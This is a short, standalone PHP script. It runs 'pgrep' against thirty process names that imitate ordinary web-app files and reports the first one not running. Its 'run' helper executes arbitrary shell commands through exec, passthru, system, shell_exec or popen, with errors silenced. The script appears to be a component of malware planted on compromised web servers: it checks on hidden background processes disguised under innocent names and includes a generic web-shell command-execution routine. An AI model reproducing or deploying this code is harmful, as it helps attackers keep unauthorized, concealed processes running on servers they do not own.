<?php   $files = ['default_tab','commentrenderer','pms_smilies','shortcode','userstats','PMA_List.class','config_server','shoutbox_max','SmartImage.class','sched_funcs','index_esp','vcard.class','login_functions','ricette_pdf','imgajoutpanier','file_listing','tutte_mod','gradeexport_xls','admin_files','display.menu','thumbnails','dba_insertion','form_upload','traderoute','mainfile1','default_map','jobVacancies','publicity','img_auth5','SpellChecker']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }